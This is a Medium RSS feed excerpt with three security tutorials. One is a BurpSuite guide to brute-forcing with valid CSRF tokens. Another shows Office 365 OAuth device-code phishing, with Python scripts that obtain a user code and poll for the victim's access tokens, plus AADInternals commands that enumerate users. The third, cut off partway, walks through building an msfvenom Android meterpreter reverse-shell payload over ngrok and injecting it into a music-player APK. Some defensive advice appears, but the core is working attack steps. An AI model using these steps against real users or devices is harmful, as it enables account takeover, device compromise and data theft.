src="https://cdn-images-1.medium.com/max/1024/1*J8CLuI-jf8_9YO-I7UHkVA.png" /><figcaption>Fig 5.7</figcaption></figure><p>6. <strong>Initiate the Attack</strong>: After configuring the payload sets, positions, resource pool settings, and Grep-Match option, start the attack by clicking the “Start attack” button in the Intruder tab. Verify that the CSRF token is validated in each request by examining the flagged responses(Anti-CSRF token is valid) for the specified success indicators or expected validation messages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wChKRqfue_8sVHKOhXv37w.png" /><figcaption>Fig 5.8</figcaption></figure><h4>CSRF Token Validation in BurpSuite: Session Handling Rules</h4><p><strong>i.) Configure Macro Actions</strong>: Navigate to setting → Sessions, Click on the “Add” button within the Macros section dialog to define macro actions. A macro consists of a series of actions that BurpSuite performs automatically during a testing session. In this case, the macro actions will focus on extracting and updating CSRF tokens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_OP9OMp4E5Uc76E8nlt5uw.png" /><figcaption>Fig 6.1</figcaption></figure><p>Now, select the HTTP request that the macro will execute actions on. This request typically fetch to the csrf_token by sending the GET request to web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*tW4yNp_T_z1JZjoUArGKoQ.png" /><figcaption>Fig 6.2</figcaption></figure><p>In the macro configuration editor, ensure that the “Add cookies received in responses to the session handling cookie jar” option is checked. This option instructs BurpSuite to add any cookies received in server responses to the session handling cookie jar. Also, check the “Use cookies from the session handling cookie jar in requests” option. Enabling this option instructs BurpSuite to automatically include cookies from the session handling cookie jar in subsequent requests sent during the testing session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*CQFnvpz6U1p1ipTD-9pSXg.png" /><figcaption>Fig 6.3</figcaption></figure><p><strong>ii.)</strong> <strong>Create a New Session Handling Rule:</strong> In the “Session handling rules” section, click on the “Add” button to create a new session handling rule. This action will prompt a dialog box where we can define the properties of the new rule.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2S6IsoP_6B4iXU5EXnqC7A.png" /><figcaption>Fig 6.4</figcaption></figure><p><strong>Define Tools Scope and URL Scope</strong>: In the dialog box for creating a new session handling rule, specify the Tools scope and URL scope for the rule. URL Scope determines the target domain where this rule applies. And Tools scope determine the tools that the rule will be applied to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*IOWvAF-S-vAVZfT9uROwsg.png" /><figcaption>Fig 6.5</figcaption></figure><p>After defining scope ,In the rule action, give a name to the session handling rule and click on the “Add” button and select “Run a macro.” Than after Choose the macro that we want to execute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*DMu_GxvuVJlNACVTogLW_Q.png" /><figcaption>Fig 6.7</figcaption></figure><p>Now check the box labeled “Update current request with parameter matched from final macro response.” Select “Update only the following parameters and headers,” then click on the “Edit” button to add “csrf_token” to the Edit list. This ensures that any parameters(csrf_token) extracted from the final response of the macro are automatically inserted into the current request.</p><p>Next, select “Update current request with cookies from session handling cookie jar” and choose “Update only the following cookie,” adding “PHPSESSID” to the Edit list. That ensures that cookies from the session handling cookie jar are automatically included in the current request. By specifying which cookies to update, such as “PHPSESSID,” BurpSuite ensures that the session state is maintained across requests, mimicking the behavior of a real user session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*BZNtBoba0qmgS8jNgVgCXg.png" /><figcaption>Fig 6.8</figcaption></figure><p>Additionally, after configuring the rule actions, click on the “Open session tracker” button to track the execution of the session handling rule. This allows us to monitor how the rule is being applied during the testing session, providing valuable insights into its effectiveness and identifying any potential issues or discrepancies in the session handling process. By actively monitoring the session tracker, we can ensure that the session handling rule is functioning as intended and troubleshoot any issues that may arise during testing. At last, Don’t forget to check the session handling rule we defined to ensure that it is enabled and actively applied during the testing session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WELt_QsN_zPEKE3Uv05Oeg.png" /><figcaption>Fig 6.9</figcaption></figure><h4>iii.) Setting up Intruder</h4><p>Furthermore, proceed to the “Intruder” section and carefully select the attack position for the brute-force attack. This step is pivotal in determining which parameters within the request will be targeted for manipulation during the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BCkQEeDuRLmFxbEBNI_6EQ.png" /><figcaption>Fig 7.1</figcaption></figure><p>Next, choose the attack type as “Spider” and set the payload to “Numbers” ranging from 1 to 50. This selection ensures that a comprehensive range of values is systematically tested, covering a broad spectrum of potential inputs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m1KWajJijcLWlnUed5JYMg.png" /><figcaption>Fig 7.2</figcaption></figure><p>Additionally, configure Maximum Concurrent Requests (threshold) to 1 from the resource pool settings.</p><p>Moreover, add the item to the Grep-Match section to specify the pattern or content to match in the server response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_usPoHFXuRFo9DwnQOSj2A.png" /><figcaption>Fig 7.3</figcaption></figure><p>With all configurations in place, we are now ready to initiate the brute-force attack. Click on the “Start attack” button to commence the attack process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tRUZfmWeH563-B2uZCg9og.png" /><figcaption>Fig 7.4</figcaption></figure><p>As depicted in Fig7.4 the Grep-Match feature displays that all the CSRF tokens are valid, indicating successful validation. Consequently, we have identified the flag, Now, let’s move to the session handling tracker to see the execution and effectiveness of the session handling rules in real-time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D7534beOl0dTkU-kG-vZTw.png" /><figcaption>Fig 7.5</figcaption></figure><p>The session tracker results indicate that the session handling rule executed successfully, effectively managing CSRF tokens and maintaining session integrity throughout the testing process. This ensures that requests were properly handled, and parameters such as CSRF tokens were appropriately validated and updated as needed. Overall, the session tracker confirms the smooth execution of the session handling rule, contributing to the accuracy and reliability of the testing outcomes.</p><h4>Best Practices for Defending Against Brute-Force Attacks</h4><p>Brute-force attacks remain a persistent threat to web applications, but there are several best practices that organizations can implement to mitigate the risk and enhance their defenses. Here are some key recommendations:</p><p>1. Implement Account Lockout Policies: Enforce account lockout policies that temporarily lock user accounts after a specified number of failed login attempts.</p><p>2. Use Strong Password Policies: Implement strong password policies that require users to create complex passwords.</p><p>3. Implement Multi-Factor Authentication (MFA): Deploy multi-factor authentication (MFA) mechanisms to add an extra layer of security beyond passwords.</p><p>4. Employ Rate Limiting and CAPTCHA: Implement rate-limiting mechanisms to restrict the number of login attempts from a single IP address or user account within a specified time period.</p><p>5. Educate Users and Administrators: Educate users and administrators about the risks of brute-force attacks and the importance of following security best practices</p><h4>Summary:</h4><p>This guide outlined the process of conducting a brute-force attack using BurpSuite with CSRF token validation to bolster web application security. We configured BurpSuite for attack testing, set up session handling rules, and defined macro actions for CSRF token validation. We configured the Intruder tool, enabling Grep-Match for result analysis. We emphasized the importance of analyzing results, prioritizing remediation efforts, and monitoring the session handling tracker for proper execution. By following these steps, security professionals can enhancing overall security posture.</p><p>Thank you for exploring this guide on conducting brute-force attacks with BurpSuite and CSRF token validation. Your dedication to enhancing web application security is commendable. If you have any further questions or need assistance, feel free to reach out. Happy testing!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a47226b097d" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/cracking-the-code-advanced-csrf-token-validation-and-brute-force-attack-with-burpsuites-intruder-3a47226b097d">Cracking the Code: Advanced CSRF Token Validation and Brute-force attack with BurpSuite’s Intruder</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking Down the Threat: Exploring the Latest Office 365 Phishing Method with OAuth Device Code]]></title>
            <link>https://systemweakness.com/breaking-down-the-threat-exploring-the-latest-office-365-phishing-method-with-oauth-device-code-36a9e0389bd1?source=rss-edb4f8df156a------2</link>
            <guid isPermaLink="false">https://medium.com/p/36a9e0389bd1</guid>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[oauth2]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Vishal Raj]]></dc:creator>
            <pubDate>Thu, 11 Jan 2024 06:46:17 GMT</pubDate>
            <atom:updated>2024-01-13T15:57:43.294Z</atom:updated>
            <content:encoded><![CDATA[<h4>New Phishing technique for compromising Office 365 account</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gVKBtWVE9uC225wQ6LTNag.png" /></figure><h4>Introduction:</h4><p><strong>What is OAuth Device Code Authentication: </strong>OAuth, an authentication framework widely used by applications to access user data, employs various grant types for authentication purposes. Among these, the device code flow is designed to facilitate authorization on devices with limited input capabilities, offering a seamless authentication experience for users across multiple platforms.</p><p>OAuth device code authentication involves a mechanism where users, especially those on devices like smart TVs or consoles without a web browser or with limited input interfaces, can access their accounts securely. This flow typically generates a unique code displayed on the user’s device, which they then input on a separate device or browser to authenticate and authorize access.</p><p>However, the very convenience and versatility that OAuth device code authentication offers have also drawn the attention of cyber adversaries. As a result, malicious actors have evolved their phishing tactics to exploit this authentication method, posing a severe threat to Office 365 users and organizations.</p><p>In this article, we delve into the intricacies of OAuth device code authentication, exploring its functionalities, benefits, and, crucially, its vulnerabilities. Specifically, we will investigate how threat actors manipulate this authentication process to execute sophisticated phishing attacks aimed at compromising Office 365 accounts. Furthermore, we’ll examine strategies to mitigate these threats and bolster security measures in the face of evolving cyber risks.</p><p>Let’s begin by delving deeper into the workings of OAuth device code authentication and its significance within the Office 365 ecosystem.</p><h4>Disclaimer:</h4><p>The information in this article is provided for educational purposes only. The techniques and tools discussed are intended for authorized use only. The authors and publisher of this article are not responsible for any misuse or illegal activities that result from the use of these techniques and tools. We do not condone illegal activities and encourage readers to use these techniques and tools in an ethical and legal manner</p><h4><strong>Working principle of OAuth Device Code Authentication:</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*K_ZaijtHvC92lQTcHnjdJQ.png" /><figcaption><strong>Fig1.0</strong> Working principal of OAuth Device Code</figcaption></figure><ol><li>A user starts an application(smart TV) supporting device code flow on a device</li><li>The app connects to Azure AD /devicecode endpoint and sends <strong>client_id</strong> and <strong>resource, scope</strong></li><li>Azure AD sends back <strong>device_code</strong>, <strong>user_code</strong>, and <strong>verification_url</strong></li><li>Device shows the <strong>verification_url</strong> (https://microsoft.com/devicelogin) and the unique <strong>user_code</strong> to the user</li><li>User opens a browsers on different device and browses to <strong>verification_url</strong>, gives the <strong>user_code</strong> when asked and logs in through his credentials</li><li>At last device polls the Azure AD until after successful login it gets <strong>access_token</strong> and <strong>refresh_token</strong></li></ol><h4><strong>Exploring Phishing Techniques:</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*MmGMMNQz62rmtTn0WkU_Lw.jpeg" /><figcaption><strong>Fig 2.0</strong> Phish Image</figcaption></figure><p><strong>What is Phishing:</strong> <em>According to </em><a href="http://www.phishing.org/"><em>phishing.org</em></a></p><blockquote>Phishing is a cybercrime in which a target or targets are contacted by email, telephone or text message by someone posing as a legitimate institution to lure individuals into providing sensitive data such as personally identifiable information, banking and credit card details, and passwords.</blockquote><blockquote>The information is then used to access important accounts and can result in identity theft and financial loss.</blockquote><p><strong>Phishing Techniques:</strong></p><p>There exists a multitude of <a href="https://www.phishing.org/phishing-techniques">phishing techniques</a> employed by malicious entities. However, our focus will center on elucidating two primary phishing attacks.</p><ol><li><strong>Forged Login Pages: </strong>Cyber attackers create counterfeit login pages that closely resemble legitimate websites or services. These fraudulent pages aim to deceive users into entering their login credentials, allowing the attackers to illicitly obtain sensitive information.</li><li><strong>OAuth Consent Exploitation: </strong>This attack leverages OAuth (Open Authorization) to deceive users into granting malicious applications access to their sensitive data. Attackers deceive users by creating fake applications or services that request permission to access the user’s account, exploiting the OAuth consent mechanism to gain unauthorized access to personal information.</li></ol><h4>The Mechanics of OAuth Device Code Phishing:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*0WX5PZMHCrplnwaSpaCINg.png" /><figcaption><strong>Fig 3.0</strong> OAuth Device Code Phish</figcaption></figure><p>OAuth Device Code Phishing is a sophisticated exploitation of the OAuth authentication process, targeting the authorization flow for devices with limited input capabilities. Attackers manipulate this authentication method to deceive users and gain unauthorized access to their accounts or sensitive information. Let’s delve into the mechanics of how this phishing attack unfolds:</p><ol><li>The first step involves the attacker initiating an HTTP POST request to the Azure AD’s /devicecode endpoint. This request includes two parameters: <strong>client_id</strong> and <strong>resource</strong></li></ol><p>These parameters are utilized by the attacker to interact with the Azure AD and begin the process of obtaining device_codes and user_code for exploitation purposes.</p><blockquote>Here is the python Script to connect to the devicecode</blockquote><pre>import requests<br>import json<br>url = &quot;https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0&quot;<br>payload = {<br>    &quot;client_id&quot;: &quot;d3590ed6-52b3-4102-aeff-aad2292ab01c&quot;,<br>    &quot;resource&quot;: &quot;https://graph.windows.net&quot;<br>}<br><br>try:<br>    response = requests.post(url, data=payload)<br>    response_json = response.json()<br>    user_code = response_json.get(&#39;user_code&#39;)<br><br>except requests.RequestException as e:<br>    print(&quot;[-] An error occurred:&quot;, e)</pre><p>2. Sending the Phishing mail to the victim.</p><p>The second step involves the attacker sending a phishing email to the victim. Within this deceptive email, the attacker includes the following elements: a `user_code` and a `verification_url`. The aim is to manipulate the victim into signing in to their Office 365 account using the provided user_code.</p><p>The attacker uses various manipulation tactics within the phishing email, such as offering enticing freebies or creating a sense of urgency through threats of account suspension or deactivation. These tactics are designed to prompt the victim to take immediate action, thereby increasing the likelihood of them falling for the phishing attempt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*flAdXgcJVlwDtk0Ld2X53Q.png" /><figcaption><strong>Fig 3.1</strong> Phishing Email</figcaption></figure><p>The `user_code` and `verification_url` are presented as necessary components for claiming the supposed freebies or averting the threatened consequences. However, in reality, these elements are crafted to deceive the victim into unwittingly providing their Office 365 login credentials or granting unauthorized access to their account.</p><p>3. “Falling into the Trap” — Victim Initiates Authentication</p><p>After falling for the trick set by the attacker, the victim follows the instructions in the spoofed message. They go to the web link provided and type in the unique code (called ‘user_code’) as told in the spoofed email.</p><p>The victim does this because they think they’ll get something good, like free stuff, or because they’re scared that something bad will happen if they don’t.</p><p>However, complying with the instructions in the fraudulent email unknowingly grants the attacker access to the victim’s Office 365 account. This action allows the attacker to obtain their access token and refresh token, essentially providing the attacker with the keys to the kingdom. Consequently, the attacker can access confidential information or seize control without the victim being aware of the intrusion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*ikMo2lu8ROLG7_dtzZbRpQ.png" /><figcaption><strong>Fig3.2</strong> Microsoft OAuth Device</figcaption></figure><p>Upon entering the code, the user encounters a prompt to choose the account for signing in. Notably, the user is directed to sign in to Microsoft Office without any requests for consent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*Nper9NXZaIT9OgYUz4c8ew.png" /><figcaption><strong>Fig3.3</strong> Microsoft login page</figcaption></figure><p>After successful authentication, the following is shown to the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*ES3RdjpDchxDL7pxlIZgzA.png" /><figcaption><strong>Fig3.4</strong> After successful login</figcaption></figure><p><strong>At this point the Identity of user is compromised!</strong></p><p>4. Obtaining the Access Token</p><p>Finally, the attacker must retrieve the access token from Azure AD devicecode. Subsequently, upon completing step 2, the attacker initiates an HTTP POST request to <a href="https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0">Azure AD</a> every 10 seconds, aiming to pull the access token.</p><p>The request must include the following parameters: client_id, resource, code(device_code), grant_type</p><blockquote>The Python script below establishes a connection to the Azure AD token endpoint and continuously checks for the authentication status.</blockquote><pre>import requests<br>import json<br>import time<br>duration = 9000<br>while duration:<br>    time.sleep(10)<br>    body = {<br>     &quot;client_id&quot;: &quot;d35902d6-5rb3-4522-ghff-agr2292ab01c&quot;,<br>     &quot;grant_type&quot;: &quot;urn:ietf:params:oauth:grant-type:device_code&quot;,<br>     &quot;code&quot;: &quot;HAQABAAEAAAAmoFfGtYxvRrN.......&quot;,<br>     &quot;resource&quot;: &quot;https://graph.windows.net&quot;<br>           }<br>    response = None<br>    try:<br>        response = requests.post(&quot;https://login.microsoftonline.com/common/oauth2/token?api-version=1.0&quot;, data=body)<br>    except requests.RequestException as e:<br>        print(&quot;[-] An error occurred:&quot;, e)<br>    duration -= 10   <br>    if response and response.status_code == 200:<br>        print(&quot;[+] Authentication successful!&quot;)<br>        with open(&#39;auth_token.json&#39;, &#39;w&#39;) as file:<br>            json.dump(response.json(), file, indent=4)<br>            print(&quot;[+] Auth token saved to auth_token.json&quot;)<br>            break<br>    else:<br>        pass<br>    if duration == 0: exit(1)</pre><p>Given that the insider user possesses complete read-only permissions within their domain’s Azure AD Tenant, once the access token is successfully retrieved, the attacker can then impersonate the victim and gain access to all user information within the Azure AD Tenant.</p><p>After attacker gains access to an access token within an Azure AD Tenant, they can potentially perform several operations, depending on the permissions associated with that token. Here are some potential actions an attacker could execute using an access token:</p><ol><li>Accessing and altering user information.</li><li>Manipulating resources within Azure AD.</li><li>Get access token for Exchange Online.</li><li>Creating or managing applications for malicious purposes.</li><li>Manipulating security settings and configurations.</li><li>Executing administrative tasks with elevated privileges.</li><li>Exploiting misconfigured permissions for privilege escalation.</li><li>Exfiltrating sensitive data or information.</li></ol><p>The attacker can also obtain an access token for other services(Exchange Online) using a refresh token. This access token can allows the attacker to view all the emails of the user and even use their email account for internal phishing campaigns.</p><p>4. Enumerating Azure AD</p><p>Utilizing the <a href="https://aadinternals.com/">AADInternals </a>toolkit (a PowerShell module containing tools for administrating and potentially exploiting Azure AD and Office 365), an attacker can enumerate Azure AD (access all user information). This toolkit is listed in <strong>MITRE ATT&amp;CK</strong> with the ID S0677.</p><pre># Install the module<br>Install-Module AADInternals<br><br># Import the module<br>Import-Module AADInternals</pre><pre># Get Azure AD Tenant Users Info<br>Get-AADIntUsers -AccessToken $access_token | select DisplayName, SignInName, ObjectId&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t2umXCJ6ry6D6L8sj-SlMg.png" /><figcaption><strong>Fig4.0</strong> AADInternals Enumerating Users info</figcaption></figure><blockquote>In the upcoming article, we will explore the use of a refresh token to acquire an access token for Exchange Online and other services, facilitating the execution of internal phishing campaigns.</blockquote><h4>Pros and Cons of using OAuth Device Code Phishing Technique:</h4><p><strong>Pros:</strong></p><ul><li>No app registration is necessary.</li><li>There’s no need to set up a phishing infrastructure, such as fake login pages.</li><li>Users are only prompted to sign in, usually to “Microsoft Office,” without any consent requests.</li><li>All activities occur within the login.microsoftonline.com namespace.</li><li>The attacker has flexibility in using any client_id and resource, although not all combinations may be effective.</li><li>If the user signs in using Multi-Factor Authentication (MFA), the access token includes an MFA claim. This applies to access tokens obtained using refresh tokens as well.</li><li>Prevention requires Conditional Access and Azure AD Premium P1/P2 licenses.</li></ul><p><strong>Cons:</strong></p><ul><li>The user code is valid only for 15 minutes.</li></ul><h4>Detecting and Preventing OAuth Device Code Phishing:</h4><p>To begin with, it is crucial to comprehend that, from the Azure AD perspective, the login occurs at the location where the authentication was initiated. This point holds significant importance. Specifically, this implies that, in the sign-in log, the login is recorded as originating from the attacker’s location and device, rather than the user’s. Notably, access tokens obtained through the use of refresh tokens do not register in the sign-in log.</p><p>The sole effective method for preventing phishing using this technique is through the implementation of <strong>Conditional Access (CA)</strong> policies. Educate the employees about information security and phishing. Specifically, it’s important to note that while preventing phishing itself may be challenging, we can hinder unauthorized access by enforcing rules on user sign-ins. Location and device state-based policies, in particular, prove highly effective in safeguarding accounts. This principle holds true for all currently employed phishing techniques.</p><h4>Summary:</h4><p>We started by breaking down what OAuth Device Code Authentication is and why it matters for Office 365. Then, we looked into how threat actors use phishing to exploit the weaknesses in this authentication method. By understanding how OAuth Device Code Phishing works, we got a clearer picture of the risks facing Office 365 users.</p><p>We broadened the scope of the article to cover ways of spotting and stopping these phishing attacks. We explored simple steps like educating users and using advanced tools like Conditional Access policies. These measures help strengthen defenses against the ever-changing threats in the cyber world.</p><p>Thank you for taking the time to explore the intricacies of OAuth Device Code Phishing and its implications within the Office 365 environment. If you have any further questions or topics of interest, feel free to reach out.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FjAnwe4dEPgA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DjAnwe4dEPgA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FjAnwe4dEPgA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/dc8e9e1703a17a5865a2342f99594493/href">https://medium.com/media/dc8e9e1703a17a5865a2342f99594493/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36a9e0389bd1" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/breaking-down-the-threat-exploring-the-latest-office-365-phishing-method-with-oauth-device-code-36a9e0389bd1">Breaking Down the Threat: Exploring the Latest Office 365 Phishing Method with OAuth Device Code</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unleashing Chaos: Manually Embedding a Malicious Payload into an APK File — A Closer Look into…]]></title>
            <link>https://systemweakness.com/unleashing-chaos-manually-embedding-a-malicious-payload-into-an-apk-file-a-closer-look-into-aa6876d8958e?source=rss-edb4f8df156a------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa6876d8958e</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Vishal Raj]]></dc:creator>
            <pubDate>Tue, 23 May 2023 16:14:49 GMT</pubDate>
            <atom:updated>2023-05-25T13:48:14.212Z</atom:updated>
            <content:encoded><![CDATA[<h3>Unleashing Chaos: Manually Embedding a Malicious Payload into an APK File — A Closer Look into Android Exploitation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*qKbq5OLZrM1t4-V6EFfHmQ.jpeg" /></figure><h4>Introduction:</h4><p>In today’s digital landscape, the prevalence of mobile applications has significantly increased, with Android being one of the most widely used operating systems. With the growing popularity of Android applications, the risk of security breaches and malicious attacks has also escalated. This alarming trend necessitates a deeper understanding of the vulnerabilities that can be exploited by attackers to embed malicious payloads into APK files.</p><p>Embedding a payload into an APK file allows an attacker to compromise the integrity of the Android application, potentially gaining unauthorized access to sensitive user data or taking control of the device. This malicious payload can be designed to execute various harmful actions, such as stealing personal information, tracking user activities, or even establishing backdoors for future exploits.</p><p>As the digital threat landscape continues to evolve, it becomes crucial to explore the techniques employed to embed malicious payloads into APK files. By understanding these techniques, developers and security professionals can enhance their defensive strategies, identify potential vulnerabilities, and develop robust security measures to safeguard Android applications and protect users from potential harm.</p><p>So, in this article we are going to explore how to embed a malicious payload into an APK(Android Application Package) file.</p><h4>Disclaimer:</h4><p>The information provided in this article is for educational purposes only. It does not endorse or encourage any illegal or unethical activities, including embedding malicious payloads into APK files. Engaging in such activities is strictly prohibited by law. Always adhere to legal and ethical practices when dealing with software and respect privacy and security boundaries.</p><h4>Generating a Payload using msfvenom:</h4><p>First, we need to generate a payload using the msfvenom tool. For this task, I will be utilizing my Kali VM to generate the payload.</p><p>Additionally, for the purpose of this process, I will be using ngrok. ngrok is a tool that creates a secure tunnel to localhost, enabling external access to services running on your local machine. It allows us to expose our payload and establish a connection for testing and demonstration purposes.</p><p>First, we need to install Ngrok and start the TCP service on port 4444 (Figure 1.0). To do this, we should sign up for a Ngrok account first. Once we have signed up, we will be able to download the Ngrok tool from the official Ngrok website. Once downloaded, execute the following command:</p><pre>ngrok tcp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZP9ZfWIsVKWf3r8MyxkT7Q.png" /><figcaption>Figure 1.0</figcaption></figure><p>After that, wrtite the following command to generate a payload.</p><pre>msfvenom -p android/meterpreter/reverse_https LHOST=&lt;ngrok_forwarding_address&gt; LPORT=&lt;ngrok_forwarding_port&gt; R &gt; msf_https.apk</pre><ul><li>-p android/meterpreter/reverse_tcp: Specifies the payload to generate. In this case, it&#39;s the Meterpreter payload for Android that establishes a reverse TCPconnection back to the attacker.</li><li>LHOST=&lt;ngrok_forwarding_address&gt;: Specifies the attacker&#39;s listening host address. Replace &lt;ngrok_forwarding_address&gt; with the actual address provided by ngrok or any other tunneling service you are using. This is the address where the generated payload will connect back to.</li><li>LPORT=&lt;ngrok_forwarding_port&gt;: Specifies the attacker&#39;s listening port. Replace &lt;ngrok_forwarding_port&gt; with the actual port number provided by ngrok or any other tunneling service. This is the port on which the generated payload will connect back to.</li><li>R: Specifies that the payload should be encoded with the randomization algorithm. This helps in evading signature-based detection by generating unique payload variations.</li><li>&gt; msf_https.apk: Redirects the output of msfvenom to a file named msf_https.apk. This is the APK file that will contain the generated payload.</li></ul><p>By providing the appropriate &lt;ngrok_forwarding_address&gt; and &lt;ngrok_forwarding_port&gt; values, the msfvenom command will generate an APK file (msf_https.apk) with the Meterpreter payload configured to establish a reverse TCP connection back to the specified address and port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k5xa8bjFZyPoFsmXrvZ8Xg.png" /><figcaption>Figure 1.1</figcaption></figure><h4>Downloading the Base APK File:</h4><p>Next, it is necessary to obtain an existing/download APK file that will serve as the base for embedding our generated payload. This APK file will be modified to incorporate the payload. I have chosen a simple music player APK downloaded from the Apkmonk website.(Figure 1.2)</p><p>When selecting a base APK file for embedding our payload, it’s important to exercise caution and adhere to legal and ethical guidelines. If you have chosen a music player APK downloaded from the Apkmonk website, please ensure that you have the necessary rights and permissions to use that particular APK file for the intended purpose. Verify that you are not violating any copyright laws or terms of service by utilizing the APK file in question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dy3Ak74web5INJ59VvDw6w.png" /><figcaption>Figure 1.2</figcaption></figure><h4>Installing and Using apktool:</h4><p>To proceed with the decompilation of APK files, it is necessary to install apktool, a widely-used tool for this purpose. Apktool enables the reverse engineering of APK files, allowing for the extraction and analysis of their internal resources and code.</p><p>To download apktool on your Kali Virtual Machine, please execute the following command in a terminal:</p><pre>sudo apt-get install apktool</pre><p>With apktool successfully installed on our system, we are now ready to proceed with the decompilation of APK files.</p><p>To decompile an APK file using apktool, execute the following command (Figure 1.3):</p><pre>apktool d -f msf_https.apk -o malicious_dir</pre><ul><li>d: Indicates decompilation operation using apktool.</li><li>-f: The -f option (short for --force) is used to force the overwrite of the output directory if it already exists.</li><li>msf_https.apk: This is the input APK file that we want to decompile. Replace msf_https.apk with the actual name of the APK file we want to decompile.</li><li>-o malicious_dir: The -o option (short for --output) is used to specify the output directory where the decompiled files will be saved. Replace malicious_dir with the desired name of the output directory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tUqaIA5lwY5qGV5ZRGwp6w.png" /><figcaption>Figure 1.3</figcaption></figure><p>To decompile the music player APK file (Figure 1.4), we can follow a similar process using apktool. Execute the following command in a terminal.</p><pre>apktool d -f Music_player.apk  -o Original</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ti4rpjSF2t18217xg4sFvQ.png" /><figcaption>Figure 1.4</figcaption></figure><p>Now that both the payload and base APK files have been successfully decompiled. we can proceed with further analysis and modifications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T7vj_JE-dqEoHqd2DyD5hw.png" /><figcaption>Figure 1.5</figcaption></figure><h4>Modifying the APK Files:</h4><p>Next, we need to access the com directory within the malicious_dir/smali directory (Figure 2.0). we can accomplish this by executing the following command or using a file explorer:</p><pre>cd malicious_dir/smali/com</pre><p>com directory contains the smali files representing the decompiled code of the APK.</p><p>Inside the com directory, we will find a metasploit directory. This directory contains the relevant Smali files associated with the Metasploit framework. It encompasses classes and resources that are specific to Metasploit’s functionalities, such as payload handlers, network communication, or exploit modules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8EKOmOe5j8c2LA8mL7gfHw.png" /><figcaption>Figure 2.0</figcaption></figure><p>After navigating to the com directory inside malicious_dir, the next step is to copy the metasploit directory. Subsequently, paste the copied metasploit directory into the Original/smali/com directory (Figure 2.1).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*Xz5sI67R-G7A5dEWLyf09w.png" /><figcaption>Figure 2.1</figcaption></figure><p>By doing so, we are replacing the existing com directory in the Original directory with the com directory from the malicious_dir directory. This action ensures that the modifications and additions made in the metasploit directory are integrated into the original structure of the APK.</p><p>After completing the previous step, navigate back to the malicious_dir directory. And open the AndroidManifest.xml file in a text editor such as gedit (Figure 2.2).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xe4ipfGVh6LNIXxwALWgFA.png" /><figcaption>Figure 2.2</figcaption></figure><p>The AndroidManifest.xml file contains important information about the application, including permissions, activities, services, and other essential components.</p><p>After opening the AndroidManifest.xml file in the malicious_dir, the next step is to copy all the permissions specified in that file (Figure 2.3). Subsequently, paste these permissions into the AndroidManifest.xml file located in the Original 